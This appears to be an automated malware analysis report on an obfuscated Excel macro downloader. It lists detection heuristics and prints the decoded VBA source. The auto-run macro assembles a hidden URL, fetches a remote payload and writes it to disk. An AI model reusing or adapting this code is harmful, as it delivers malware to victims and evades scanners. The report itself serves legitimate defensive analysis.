Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 97e1f1b96c672f05…

MALICIOUS

Office (OLE)

306.5 KB Created: 2018-06-19 11:59:40 Authoring application: Microsoft Excel First seen: 2018-11-05
MD5: 5873cb8ef202de15f7cf5bbf17b2f531 SHA-1: 330b7353296bff5b9f8ba89624a99775d71795df SHA-256: 97e1f1b96c672f05a0b8282fd7bfdb9bfd109eab538af43983dc5eb97ca0adc3
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1059 Command and Scripting Interpreter

The critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' indicates that the VBA macros download and write a file to disk. The 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' heuristic suggests an obfuscated loader, and the presence of a Workbook_Open macro (OLE_VBA_WBOPEN) confirms an auto-execution trigger. The ClamAV detection 'Xls.Malware.Emodldr-10058834-0' further supports the malicious nature of this Excel file, likely acting as a downloader for a secondary payload.

Heuristics 8

  • ClamAV: Xls.Malware.Emodldr-10058834-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Emodldr-10058834-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            idQxhu = oQbWAZ.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set nttdDfRI = CreateObject(NOgCmlOv("sdcIruiRpBtUi.nig#.RfLijlEegsnyjs toePmEo bsjdencmtm"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set nttdDfRI = CreateObject(NOgCmlOv("sdcIruiRpBtUi.nig#.RfLijlEegsnyjs toePmEo bsjdencmtm"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 50715 bytes
SHA-256: 4ef7c6ad559b405c878163061ca943fd0bc306b2deeb49da080fa0475e25e473
Detection
ClamAV: No threats found
Obfuscation or payload: likely
511 of 820 identifiers look randomly generated (e.g. 'TKcPhxnGHiQjvPDoGkJiFRhIPWvQBThnCOWXPh') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub omoQcs(plEwLI As Boolean)
    NmrKckq = LTrim("S Y%dbv!vEk")
    LubYk = 634 - 1779 - 254
    LubYk = LTrim("CozX&tx(-Yh _")
    EDQkx = LTrim("taP#bT&!KpR$#")
    LFQkZZ = RTrim("l$zN.wzQU(^$.")
    xskriAWz = StrReverse("iTbHbVjaGeZ")
    NmrKckq = 166 - 1677 - 326
    hjwJc = Space(11)
    CPBGy = RTrim("nYFt*.sPvaJnO^EzZX")
    vLVCkw = "gnaAT[feb%UzTol" + "PQ%[f!gWrUq" + "lYc#y pmST-XvpuVO"
    EDQkx = "GyL_Yr)rNnFF^^ a" + "IySZaq&oD#lo@T?)Mf" + "YvpjCGwancmLRBDyl.*G"
    EDQkx = StrReverse("%uq(x-fvZp#snPYlk^")
    yUKUt = LTrim("lkymvCgURavBc")
    xskriAWz = LTrim("ZsuQPhIPc!gHbfPIL#C(")
    EDQkx = "%l)bexbIzizJJ^X" + "%yNgCKqnnE#" + "SBqD$T]).tZ"
    yKNEQ = StrReverse("Y$pLvEEClh^?_flDwG[")
    xskriAWz = 1205 + 833 + 807
    EDQkx = LTrim("yp^)!zal#?L*[tB$g")
    hjwJc = Space(16)
    CPBGy = RTrim("krnNDypk?MpvqWv")
    LFQkZZ = LTrim("sZ(NsPFc*Q^lr]#C")
    xskriAWz = UCase("v_fEiXnSv#d^Z")
    PqkFarNA = "!@YYAmqIIWS_CtJzB" + "FZyU%jB$VscXyAoTH" + "?oCTGXDxDEQ^Q#Hb*yH"
    xskriAWz = LTrim("R$dzIYGhOVItozS@gDqz")
    xskriAWz = StrReverse("gp%$e)J-!$cKFMPytwhg")
    PqkFarNA = UCase("AzCAUHRsCn&")
    hjwJc = StrReverse("zAo_OYAp)rFiV$PMZk")
    For xPHDUz = 0 To 27
        vLVCkw = Right("bp]sd *e^uSM.i", 3)
        CPBGy = StrReverse("dupwpOhN^RkZqo_E")
    Next xPHDUz

    LFQkZZ = Space(17)
    NmrKckq = StrReverse("efHK]rKicR_d")
    For lPBJum = 0 To 215
        yKNEQ = 1993 + 298 + 817
        LFQkZZ = UCase(")V)Sc)wZg S]NRaLZ$[")
        PqkFarNA = StrReverse("XHyIR KAFNrODOK&^EW")
        CPBGy = 209 + 1661 + 676
        EDQkx = Right("kfw!d?BIo] SSCEG", 3)
    Next lPBJum

End Sub

Private Function OCERpt(CjoxbQ As Integer, SVFqWyS As Integer, mYMDZB As Double, dRstoa As Boolean, OcLGotF As Double) As String
    hjwJc = Space(13)
    PqkFarNA = StrReverse("[oDdAQfp)LuN!c.?-ZRj")
    yUKUt = 775 - 1741 - 1866
    yKNEQ = Left("gJ-(.XuD@P%amQDfT ", 4)
    CPBGy = LTrim("M]eLnbSJO f")
    xskriAWz = Space(14)
    LFQkZZ = StrReverse("qAg!LFCgOHyoO")
    For UICRUa = 0 To 316
        LubYk = Space(13)
        OeMyT = LTrim("PpTTGjgNSJHHZru")
        xskriAWz = 1056 + 939 + 838
        NmrKckq = StrReverse("rD XTDw!aJl(MeG&")
        LubYk = Space(15)
    Next UICRUa

    xskriAWz = Right("DVvheqyaA!D[", 3)
    xskriAWz = RTrim("TpSq#Cce)bKQ")
    CPBGy = UCase("aE?G_y_jX]_eoP")
    vLVCkw = StrReverse("sPJysr[Kv(A")
    yUKUt = RTrim("OoBKv)DH[jaez%")
    LFQkZZ = Left("qh pF__SkI", 5)
    For bQIzXD = 0 To 318
        xskriAWz = Right("xs%HNto.GUa]C&[gTo?a", 4)
        LFQkZZ = StrReverse("d[Yv^LVR_?hq?-?zxk")
        OeMyT = 686 - 245 - 1179
        CPBGy = Space(17)
        NmrKckq = 590 - 1110 - 1468
        LFQkZZ = RTrim("qGhFBMwgsnzmmN")
        PqkFarNA = LTrim("_DK.DuIRVOu&liR#*nbt")
        EDQkx = 1592 + 182 + 152
        vLVCkw = StrReverse("$bjobw!zuIYBphFffJs")
        OeMyT = 1576 + 551 + 1106
    Next bQIzXD

    LFQkZZ = LTrim(")]QYcUtdatO?")
    EDQkx = Space(9)
    CPBGy = Space(4)
    NmrKckq = 909 - 104 - 683
    OeMyT = Left("q-d!lWfwcIS", 5)
    LubYk = UCase("fAjqw)wjg)G#jEUAl")
    CPBGy = LTrim("QLAe% iY#DpHc!edpL")
    OeMyT = StrReverse(")[i-WpN-^vQc%l")
    OeMyT = Space(18)
    LFQkZZ = Right("))AQqfa%VYDK[rEDWoO", 5)
    LFQkZZ = 1432 - 849 - 1032
    yKNEQ = UCase("SWhPBp-E$Ra!Jn%AWeed")
    OCERpt = "DfXeRZgZMEBwKHdkHcLbmIWKKpf"
End Function

Private Sub Workbook_Open()
    Dim qjvBOTN As String
    CPBGy = UCase("rbzZABrWzZVr%$UJJnh")
    LubYk = StrReverse("j[UTQWVmA_!uwKnmqR")
    vLVCkw = Space(13)
    EDQkx = Left("U itukbEt%Xv)EX", 4)
    vLVCkw = LTrim("[#mMl(ZB^fSn")
    For yuBkaJ = 0 To 219
        NmrKckq = UCase("PPhkTMA%U[..SQwS")
        LubYk = 407 - 511 - 499
        hjwJc = "o^EOj* ?Qei*?" + "wetbzsuoKhMOW" + "^_^GjFElEpNtYAWnkFm^"
    Next yuBkaJ

    yKNEQ = 1236 - 378 - 417
    yKNEQ = RTrim("snG?KFP[@bqaTr#D")
    LFQkZZ = Space(17)
    For nuOCAQ = 0 To 230
        LFQkZZ = RTrim("AAZ utrWGs@Q_)GJFJus")
        OeMyT = UCase("zofyyHRHlHT)T")
        hjwJc = Space(3)
        yKNEQ = UCase("?_ncph?RFmdB")
        EDQkx = LTrim("g%Bm^D%nzvx.Q")
        OeMyT = Space(12)
        EDQkx = RTrim("a&Onn!$ j-")
        yKNEQ = RTrim("EmNg)NX.fF")
        OeMyT = StrReverse("fTFjxE?f_WX_")
        hjwJc = LTrim("v$)i[hs_[pPJibgq")
    Next nuOCAQ

    Set nttdDfRI = CreateObject(NOgCmlOv("sdcIruiRpBtUi.nig#.RfLijlEegsnyjs toePmEo bsjdencmtm"))
    LubYk = Right("%ncZU(TEtJtT!x(yR", 3)
    xskriAWz = StrReverse("iBU#Dw^oa XUlUi!")
    OeMyT = Space(13)
    While MtvKWh < 169
        xskriAWz = Right("pfuadheI!eleh", 2)
        yUKUt = Right("$Uu%Cs*PjHFHPgu", 4)
        xskriAWz = 551 - 1405 - 708
        LubYk = Right("!_T-jbxtRk @", 4)
        xskriAWz = LTrim("ye.Amv kimwtxV&QX")
        xskriAWz = Left("zFHLqmwCr#BDgjypW", 3)
        yKNEQ = 304 - 1088 - 443
        MtvKWh = MtvKWh + 2
    Wend

    CPBGy = 871 + 760 + 1370
    CPBGy = RTrim("Ee)Ch.PXhYZva%pGSy")
    PqkFarNA = "mFSbC#jVSBz(ShQxi" + "%p!ZF.VjlLG(^x" + "mQQ%iZf#BEHU"
    OeMyT = Right("m]jZ.jic )W(Vtl$", 4)
    PqkFarNA = 1383 - 1161 - 1744
    xskriAWz = RTrim("lnh[U-#CB]q&D")
    JiPvdqIq = nttdDfRI.GetSpecialFolder(1 + 1)
    EDQkx = RTrim("*pDuKJKlMCMClseGA")
    While ESlgTA < 386
        EDQkx = "yjlVULyF[-DOk" + "^&tOc$$coN)RP)" + "XlyUqKY_ _Yqbr!"
        EDQkx = LTrim("HqlnVZLgM.fuJbR")
        hjwJc = 1437 - 1590 - 650
        EDQkx = Left("&BuCW-bcIRh%e^J", 4)
        OeMyT = Space(5)
        LubYk = RTrim("PL]ih?P)(L")
        OeMyT = LTrim("m_Lm&mk Z.G?bp$")
        xskriAWz = Left("xEzsLEW$m)jud", 2)
        ESlgTA = ESlgTA + 3
    Wend

    For tqVnxh = 0 To 316
        CPBGy = 392 + 1301 + 1324
        yKNEQ = 1190 - 889 - 1366
        xskriAWz = StrReverse("yXc(*K *ULKM?Dpo.")
        CPBGy = StrReverse("!EQaac*z^nVmP_qDVKIm")
        vLVCkw = StrReverse("ufL dx._ [ -a&j^eg@")
    Next tqVnxh

    CPBGy = Left("h(.CZqgW(TFrMB", 5)
    OeMyT = Left("tTI)naAOzAQ", 4)
    xskriAWz = Left("DOJ(^qCCp%j!_S&E_#b", 5)
    LubYk = 351 + 1507 + 469
    While OsZDVd < 154
        vLVCkw = "tag .kPVVonLdQY_Bl" + "cl[JsD!RrCyGYL" + "KtrXrSkUu(psScP"
        xskriAWz = LTrim("v#$P-Xnh?!Ax")
        yUKUt = 1569 - 1050 - 642
        EDQkx = 1572 - 1290 - 1768
        hjwJc = Right("]?Is@FvjgdVn", 5)
        xskriAWz = StrReverse("-FDHSZ -)!qjNF-q")
        OsZDVd = OsZDVd + 2
    Wend

    CPBGy = Space(20)
    CPBGy = Space(6)
    qjvBOTN = StrReverse("#etxde!.jbrwtMpIEI")
    LubYk = LTrim("liEf!JP?!tX^yxX _[")
    EDQkx = "mhKxF^OvYt" + "Uy% g#F$FRlWg" + " %kmKlNQ(rwjF"
    For crWvZQ = 0 To 17
        CPBGy = RTrim("aAKr^xByqRWQqr")
        vLVCkw = StrReverse("rDuHidSgG@zxvwIxA")
    Next crWvZQ

    xskriAWz = StrReverse("%qfdIL.mNy Z")
    NmrKckq = Left("tuBrJ?^nGY&w*", 2)
    For QXoXlI = 0 To 104
        EDQkx = Space(3)
        vLVCkw = 1842 + 948 + 364
        yUKUt = Left("!$IWhha$-ifpdh.pF.Z", 4)
        PqkFarNA = "itPX^BOoqp(%ME&a" + "qq$SvGIrl*@N" + "anSJTutZ*)"
        LFQkZZ = Space(4)
        EDQkx = Space(2)
        hjwJc = StrReverse("[_sL!hRtNOZjqT.^HS")
        LFQkZZ = Right("jndS%_LKmn*DH%W", 2)
    Next QXoXlI

    yUKUt = Right("]vsLHDdtWlcJvM#", 3)
    xskriAWz = LTrim("MxS).Z C)_us")
    yUKUt = UCase("uTpr^]%s!#W^spCC")
    CPBGy = RTrim("YvwGO^[^SrCbDGGxx")
    While kiNXxo < 66
        hjwJc = 1221 + 613 + 1174
        vLVCkw = Space(19)
        CPBGy = LTrim("N_D_ CahoQsMiaV-c")
        PqkFarNA = StrReverse("w%ouB!.HtkM?sVIAE#")
        CPBGy = 1587 - 1483 - 244
        kiNXxo = kiNXxo + 2
    Wend

    While yEnqVk < 189
        hjwJc = StrReverse(".YrxLgtv@eUK")
        LubYk = RTrim("@aGYoxEnpgSGeA")
        yEnqVk = yEnqVk + 1
    Wend

    For XXAhaA = 0 To 343
        xskriAWz = Left("gByWndHK$#Y??", 2)
        NmrKckq = StrReverse("iw%pqk?WpDtGhTSg")
        CPBGy = 1310 + 326 + 497
        NmrKckq = 1959 - 472 - 1848
        hjwJc = 1773 - 1418 - 329
        CPBGy = "y!WLyh#wtU " + "s)BG.tKeIR%" + ")Pmi!*IJtwyaFFp(l"
    Next XXAhaA

    yKNEQ = Right("zexxdzSx[VQZkn", 5)
    LubYk = 158 - 1941 - 856
    yUKUt = Left("sLkjYE_!Rpdo", 2)
    hjwJc = Right("jQHHwh(zg_h)", 3)
    While RvvQJa < 204
        OeMyT = LTrim("DCpqy(_Ppa D")
        xskriAWz = Left("[iOr-vXnQka?bU", 3)
        EDQkx = 1783 + 195 + 914
        EDQkx = UCase("P&Lj]IddqrOQZsExVlHZ")
        yUKUt = Space(5)
        PqkFarNA = Left("dQ$Ph]KZiSC*IPJY%d", 2)
        hjwJc = 289 - 1603 - 948
        yKNEQ = LTrim("*VasoNTzB!")
        CPBGy = RTrim("j-wOoC NxJ[j")
        RvvQJa = RvvQJa + 1
    Wend

    For yZFhMs = 0 To 339
        vLVCkw = Left("lDa[HxWQcz", 3)
        xskriAWz = RTrim("@gpE!RryweXBcy*ODuq")
        PqkFarNA = 980 - 1001 - 386
        PqkFarNA = "QIRBR))*(JMKr[*IQ_yg" + "nkPA_I)[f g)BDScI" + "Si*EM#E@EWQzXR"
        NmrKckq = RTrim("E&Sb? DT[ke_XZNK n-q")
    Next yZFhMs

    For OBnFCM = 0 To 65
        NmrKckq = Space(1)
        LFQkZZ = 955 - 1331 - 341
        yKNEQ = UCase("obLyWA&RyrC#bhv.#.xh")
        LubYk = "Yz^-*_(xQxNz" + "ST e*tFIP!GfEwWBn" + "PQJW)Z[#c_Xiu"
        NmrKckq = Space(11)
        OeMyT = UCase("hcs%jd^gS#%Mxuu^")
        LFQkZZ = RTrim("AZ]x-NZwewBqrAzBCC)H")
        xskriAWz = StrReverse(" L%SWXPdHu]KtgNx")
    Next OBnFCM

    yKNEQ = LTrim("jk&eK&ZQYtDut")
    yUKUt = 255 - 1016 - 508
    LubYk = Right("XAZro(*Zozn", 3)
    CPBGy = RTrim("P-MkO[CLLIoC)WtxqwFJ")
    NmrKckq = 641 + 1947 + 1581
    Dim oQbWAZ, ysedfzIJ As Object
    While YRsBpb < 227
        LubYk = StrReverse("%hSbk?QBPS#r@[VG")
        yKNEQ = Space(14)
        LFQkZZ = 326 + 289 + 1827
        YRsBpb = YRsBpb + 1
    Wend

    NmrKckq = Right("Le^X)?LfTyJMSO", 5)
    While DqOejT < 384
        hjwJc = 1398 + 763 + 534
        LubYk = Right("?yUz]JhyZc?%D*Xz(", 3)
        yUKUt = Left("&!(VOpjZFricA(", 3)
        LubYk = Right("X[mwuouGJ_AofQsh!t@", 4)
        vLVCkw = Left(" B XYkppfCLG_wKFMYE", 3)
        EDQkx = 430 - 1338 - 685
        xskriAWz = 533 - 1976 - 456
        LubYk = Right("l*WZFF^TzZikO.T", 3)
        DqOejT = DqOejT + 1
    Wend

    hjwJc = "yTTFdBR@y#b" + "@UKtuQAqRcrMDJZT" + "geUOeJmDxvxDOJ?Q$wV"
    For uMfoWE = 0 To 102
        xskriAWz = RTrim("ZEVDtKSf?wlHu@P")
        PqkFarNA = RTrim("NCgF*Nq wq.cR")
        hjwJc = Right("Lx)rn^Pq*Ppv@BwSYk.", 2)
        xskriAWz = UCase("!KurOrZbsjkIpY.U")
        NmrKckq = Space(6)
    Next uMfoWE

    xskriAWz = 742 - 371 - 187
    For EIdiLC = 0 To 317
        xskriAWz = "FxcuH$W@[HX" + "H.IWdZTxIXH_" + "tpoFyEN$yRLF!dhv!b"
        hjwJc = "XM.tD!EmpBPE^r" + "%Ad[lRsdV@Xh" + "NGeAfv.M]gQ"
        hjwJc = LTrim("sSz%bI]#mo")
        xskriAWz = LTrim(".pSuUMiGf#DDHkEtny!")
        yUKUt = 342 - 1136 - 1503
        CPBGy = Space(7)
    Next EIdiLC

    EDQkx = LTrim("#aZXLSJAc$QD")
    For tUjPUD = 0 To 347
        vLVCkw = StrReverse("ok])C-HiRzP")
        yKNEQ = "%G aajyI^I" + "]DsJApuUdYa^" + "(w!XwiKkWVlK(Nd"
        EDQkx = StrReverse("_IcIRq#W!]!Bm]XG[Y$^")
        xskriAWz = Space(16)
        LFQkZZ = StrReverse("wZdwOm@?eGyo?GFFMaO[")
        PqkFarNA = 785 - 1142 - 1548
        OeMyT = Right("fy*afHDArIKENGo", 5)
    Next tUjPUD

    Set oQbWAZ = CreateObject(NOgCmlOv("MWi&c]rvoas^oxfltV.oX?MXL HWT$T!Pg"))
    While FaxEpt < 184
        yKNEQ = RTrim("I[)kllhtWE@ITG")
        PqkFarNA = StrReverse("VxNuC%@JAxQH]f")
        PqkFarNA = LTrim("(QcF[K@WKlDM")
        yUKUt = RTrim("OV$LoUDv)HaVORG$Pcqk")
        LFQkZZ = StrReverse("Ag)pNfNgMXK")
        CPBGy = RTrim("KeKTSPD!IlRcn]Rtb")
        NmrKckq = LTrim("Gi-KsfVDTboagr")
        LFQkZZ = 1073 - 604 - 1386
        hjwJc = RTrim("^T%C[^l&%CgyyTNRo_cQ")
        yUKUt = LTrim("i)^h#%qHBnVFBIpNY")
        FaxEpt = FaxEpt + 1
    Wend

    EDQkx = Left("HRaLax)iY*X(^vdw%EbM", 2)
    PqkFarNA = StrReverse("Q*YgI_jUha")
    OeMyT = Right("^wWlPFe_Lvf]", 5)
    hjwJc = Left("eoR#rc?.fEhS", 4)
    PqkFarNA = LTrim("Wt!YlXC[.Xma")
    xskriAWz = Right("RddgnjPadtCIKy[W", 4)
    SRsNeZ = NOgCmlOv("h!tftJpy:y/y/ow]wWwZ.Xlxakb)eTlyp!r^iMn[t*.scMaG/QwYpS-GcooXnateein(tE/EujpTlXo&abd-sq/m2E0)1Z7W/ctFourEtv.SejxIeo")
    LFQkZZ = "-^de(dyCi^bB" + "aYn^oRdObs" + "uXV.wxdTTY"
    PqkFarNA = UCase("$?wpujan%RIaMYdc  w")
    vLVCkw = UCase("@pf X!AZTUmG&.Z")
    For POrETy = 0 To 388
        xskriAWz = Left("e)wi^S&[#NA^", 5)
        xskriAWz = Left("^ta&A_z iGlAuPjo&zYG", 5)
    Next POrETy

    yKNEQ = UCase("wny*lrMWX#C")
    Call oQbWAZ.Open(StrReverse("T" + "E" + "G"), SRsNeZ, False)
    While ORCAtJ < 145
        EDQkx = Space(6)
        LFQkZZ = 851 + 331 + 667
        LFQkZZ = UCase("Vg)YXSJ]WRYt")
        ORCAtJ = ORCAtJ + 2
    Wend

    EDQkx = ".AArWYzXbcPS(" + "T?ZS]j-GoUvQzrM!-odv" + "[J@Q))%_@$*]LATe)"
    NmrKckq = StrReverse("PyeORzrVPwV")
    While MZbDja < 250
        EDQkx = Right("@kSNkFTzW?%?CXvVn", 4)
        OeMyT = 1774 + 721 + 1476
        CPBGy = Space(6)
        vLVCkw = Left("dI*$MQyFh]avH[Lg#", 2)
        yKNEQ = Space(11)
        EDQkx = UCase("qewiP_Rth@V )j$Dhhu")
        yKNEQ = 1143 + 1785 + 1758
        LFQkZZ = "SwnJG(j*BVg" + "BDjmpTBUXOnaZ?NV." + "_^l?Z&uULx#Loc?"
        vLVCkw = UCase("*SDZHqT*SFnTLfh")
        MZbDja = MZbDja + 3
    Wend

    LubYk = 1895 - 961 - 1533
    oQbWAZ.send
    LFQkZZ = Space(17)
    EDQkx = LTrim("TQeNxuObrL.oUep]Gxl")
    hjwJc = Space(10)
    While eLJgTz < 64
        PqkFarNA = RTrim("pKR!gJ.nx(w")
        CPBGy = Space(18)
        NmrKckq = UCase("-(xmFWEskVs")
        NmrKckq = Right("p!PrLNs^C?DPCIaZCcfs", 4)
        NmrKckq = 285 + 1830 + 726
        OeMyT = LTrim("[yPgoEqTDwR].p%j")
        yUKUt = StrReverse("S PQzuRaPyxBWLAS.K")
        yKNEQ = Right("aEdM? ?)FYHeEbaG", 5)
        OeMyT = RTrim("#D[jchVNTI")
        eLJgTz = eLJgTz + 2
    Wend

    yUKUt = LTrim("Ye)*.(xA*Eaps#%d&U")
    yKNEQ = UCase("elmN*RWSE*")
    LubYk = LTrim("zFhtEqhfnMBVytH#")
    If oQbWAZ.Status = 205 - 3 - 2 Then
    For bNIPVy = 0 To 281
        EDQkx = "oRvG^&-Jr)o" + "YfC?^)?CDq" + "P&bUlUpMV(Qe"
        OeMyT = StrReverse("GE*U)j[nl(]")
        yUKUt = LTrim("-SEzDbfQN&Y*NUOqbEM")
        yUKUt = "mLqu[sMAbv#?Fdsi!r" + "N[j%!ZR_R$dgK*jyoo" + "I(ISWhpC^(zc"
    Next bNIPVy

    LubYk = Right("QHbTMvt.MxL#k!", 5)
    EDQkx = LTrim("#HTldWiqDPKVG")
    OeMyT = 691 + 1072 + 1259
    CPBGy = RTrim("ucbVwaq_yTFV)")
    PqkFarNA = Right("- cc$LSHvp%Ny", 4)
    While AqQDXz < 18
        yUKUt = LTrim(" xZbXg^&mjX$m")
        vLVCkw = Left("LXR.SE(wRRkqeRAuBW", 5)
        yKNEQ = "UsS^%#zUyeIEGQ" + "Fh_JoRF?C_VRndCd$#NV" + "zVEyk #rZNyFY*)^("
        PqkFarNA = RTrim("i AzIO.Ekw?TRL G*rN")
        PqkFarNA = 747 + 1688 + 159
        AqQDXz = AqQDXz + 1
    Wend

    vLVCkw = StrReverse("ZaBsUaOlpqEd")
    yKNEQ = 1086 + 1409 + 867
    OeMyT = 388 + 653 + 521
        Set ysedfzIJ = CreateObject(NOgCmlOv("AKD!OjD@B$.mSSt^r*eoafmV"))
    LubYk = 1580 - 1097 - 1164
    While CfeKES < 41
        yKNEQ = Space(18)
        LubYk = UCase("kyo#urU.hztk")
        CfeKES = CfeKES + 2
    Wend

    PqkFarNA = Space(16)
    NmrKckq = 391 + 1555 + 1920
    LFQkZZ = LTrim("wJm_WAaL)YJIg]Dw^Jkm")
    PqkFarNA = "^FsM[Ey]Hn(KovIG_b" + "[opD]Ds T?rijS#rHj" + "K]hi[kGqsDZaMSqO"
    LFQkZZ = "*%tW%sUj%aSZU FG!" + "*#RRPArappTmDShRDm" + "o%U-JSTfX]ohGtg"
    For BWoObC = 0 To 95
        hjwJc = StrReverse("i$]jZNFzJlWGnHlF")
        OeMyT = Right("UqkgfALHQhDTtp]EwyV", 5)
        EDQkx = 803 + 623 + 484
        OeMyT = RTrim("Sokeh%ReSiWq")
        yKNEQ = Right("J-U?YFJuBRtC. Ea", 4)
    Next BWoObC

    LFQkZZ = RTrim("La.etRsho@SA$SQ")
        ysedfzIJ.Open
    For bjJVLY = 0 To 137
        LubYk = Left("iGbE%fOTk(uQi(J#?JKM", 4)
        EDQkx = 1182 - 1697 - 142
        LFQkZZ = UCase("E-&]Jnb#D%TIlbE")
        PqkFarNA = Right("baewIXAu!Z^Ar* ", 3)
        LFQkZZ = Right("$KqLChwdDZG&J", 5)
    Next bjJVLY

    PqkFarNA = 1921 - 1883 - 366
    While QrUojR < 178
        vLVCkw = Right("K[QDthN@q[O&n", 3)
        vLVCkw = Right("MOi%^&)yyRcs_-XN", 4)
        LubYk = Space(9)
        OeMyT = Left("[)$HcR-POZfz", 2)
        vLVCkw = Left("-O.r*LYaJ#", 3)
        LubYk = 1227 - 999 - 1046
        xskriAWz = "Zrk.Z -G%O!#h[eOkmtJ" + "h-(ZourlMUYOpxi)#e@h" + " bHSg$Uxx)sU"
        EDQkx = StrReverse("s@poGuOE^emUfm-")
        PqkFarNA = Space(13)
        CPBGy = RTrim("QHxL.bmfnbz@[")
        QrUojR = QrUojR + 1
    Wend

    vLVCkw = Space(11)
    hjwJc = "J^ a$k)]zE*x!EN.CZ" + "W#aDGOBN#z$" + "H$v.Brj[f.]Q](O.pY"
    hjwJc = Right("]u$El(Tzg]iU", 4)
    vLVCkw = Space(15)
        ysedfzIJ.Type = 5 - 4
    CPBGy = StrReverse("Q#u%m!rR)MsbEUiMO")
    yUKUt = StrReverse("Pqc[Ot!TA)-")
    hjwJc = Space(7)
    LubYk = StrReverse("Z-nnhac-dHIVMuq)G(B")
    xskriAWz = StrReverse("gvQ*cMKn^PGz_")
    PqkFarNA = LTrim("%XMflrJwn^klPoUNllu")
        idQxhu = oQbWAZ.responseBody
    LubYk = Left("uoFLQJXOTe!F", 5)
    CPBGy = RTrim("^MMnzP(zhjt?HWIp")
    yUKUt = "A%bD!!D^^@wvV!.-kgyf" + "iik@[CtOObz&roq!" + "f.IVgVYfesSH"
    CPBGy = UCase(")Pg]YQI MUmQtcU!")
    yKNEQ = UCase("OnW$j.NkLY")
    vLVCkw = RTrim("jOl%FRFwm-")
    CPBGy = 601 - 823 - 1868
    CPBGy = RTrim("Rx&jkH$WfJ* liWu$")
    For EjVAQb = 0 To 322
        yUKUt = Space(14)
        LubYk = 1755 - 1699 - 393
        vLVCkw = "ft?ImCF&wi#_u" + "uS?WjVXcS?L$&" + "AMXw!Pptm@c?&Fw?o"
        yKNEQ = UCase("lx&v_MGPbGxmh")
    Next EjVAQb

    yUKUt = LTrim("FFA#CjF?X*Uv")
        ysedfzIJ.Write idQxhu
    EDQkx = Space(17)
    hjwJc = 1808 + 1727 + 497
    vLVCkw = StrReverse(".QMfs)# Wv)iv$*%")
    EDQkx = "b@u%]?-(@K! uTzv*" + "tJ..(lN*z(QZWa(" + "pJLKKvkqb@OkOfp!XaHs"
    While bxkstd < 278
        yKNEQ = Right("E@Sd(wy^!XRK_fvv%NX", 5)
        yKNEQ = StrReverse("?cmabMZtbY")
        PqkFarNA = Space(16)
        EDQkx = 1357 + 1156 + 1064
        LubYk = Left("jpPRFVZHf.TWbExLy(V", 5)
        LFQkZZ = UCase("C_erWocJGbOSgR")
        bxkstd = bxkstd + 1
    Wend

        Dim FJDJnfK As Object
    LFQkZZ = 1311 - 1982 - 1094
    OeMyT = 619 + 451 + 390
    LubYk = Space(3)
    CPBGy = StrReverse("wFj)QIEAd-W&!LYLm")
    PqkFarNA = 1611 - 1400 - 690
    yKNEQ = LTrim("bUr&MkY^DT]I-x")
    While irzNHa < 215
        yUKUt = "?obr^(f*OlNZlHE![" + "dmmup?Xai@FXvOg])gop" + ")v IycuCGf@W"
        yKNEQ = 226 + 1804 + 1494
        vLVCkw = UCase("^q%hdmzp&qhLCW(*LnSS")
        EDQkx = UCase("VpovDyL-sV()XAogNK")
        irzNHa = irzNHa + 1
    Wend

    yKNEQ = StrReverse("#mCdHIc#@d%-UPt^SA")
    yUKUt = Left("F$FJAu@m#f", 5)
        Set FJDJnfK = CreateObject(NOgCmlOv("s#cSrniNpot[iUn?g].PfIi*lTeEsRy?sUt!eSmCo@b%j]eBcMte"))
    xskriAWz = Left("cQg((hx%(#", 2)
    NmrKckq = RTrim("(O)AoYarzGOkp")
    While MHpxzd < 333
        LubYk = RTrim("xVy-ywpE@A[")
        LubYk = RTrim("# oL$%Z#?t#_#")
        NmrKckq = LTrim("it^wvxt* PEFaF-nDoN")
        MHpxzd = MHpxzd + 3
    Wend

    xskriAWz = StrReverse("hRC$TGNpuvY)")
    hjwJc = Right("w$L@&@c *L[Suubes-qg", 2)
    OeMyT = RTrim("i)XAWdH%a)K)A")
    yKNEQ = 535 + 1834 + 1441
    yUKUt = 192 - 1679 - 441
    yUKUt = LTrim("pIQy]qEShi")
        ejqkm = FJDJnfK.GetSpecialFolder(3 - 1)
    While RcEMmd < 35
        NmrKckq = UCase("]ZpXGM#nxpxT")
        PqkFarNA = UCase("L^z#A%h!km&c!dI($AS?")
        yUKUt = 476 - 1405 - 1200
        CPBGy = 121 + 1060 + 1923
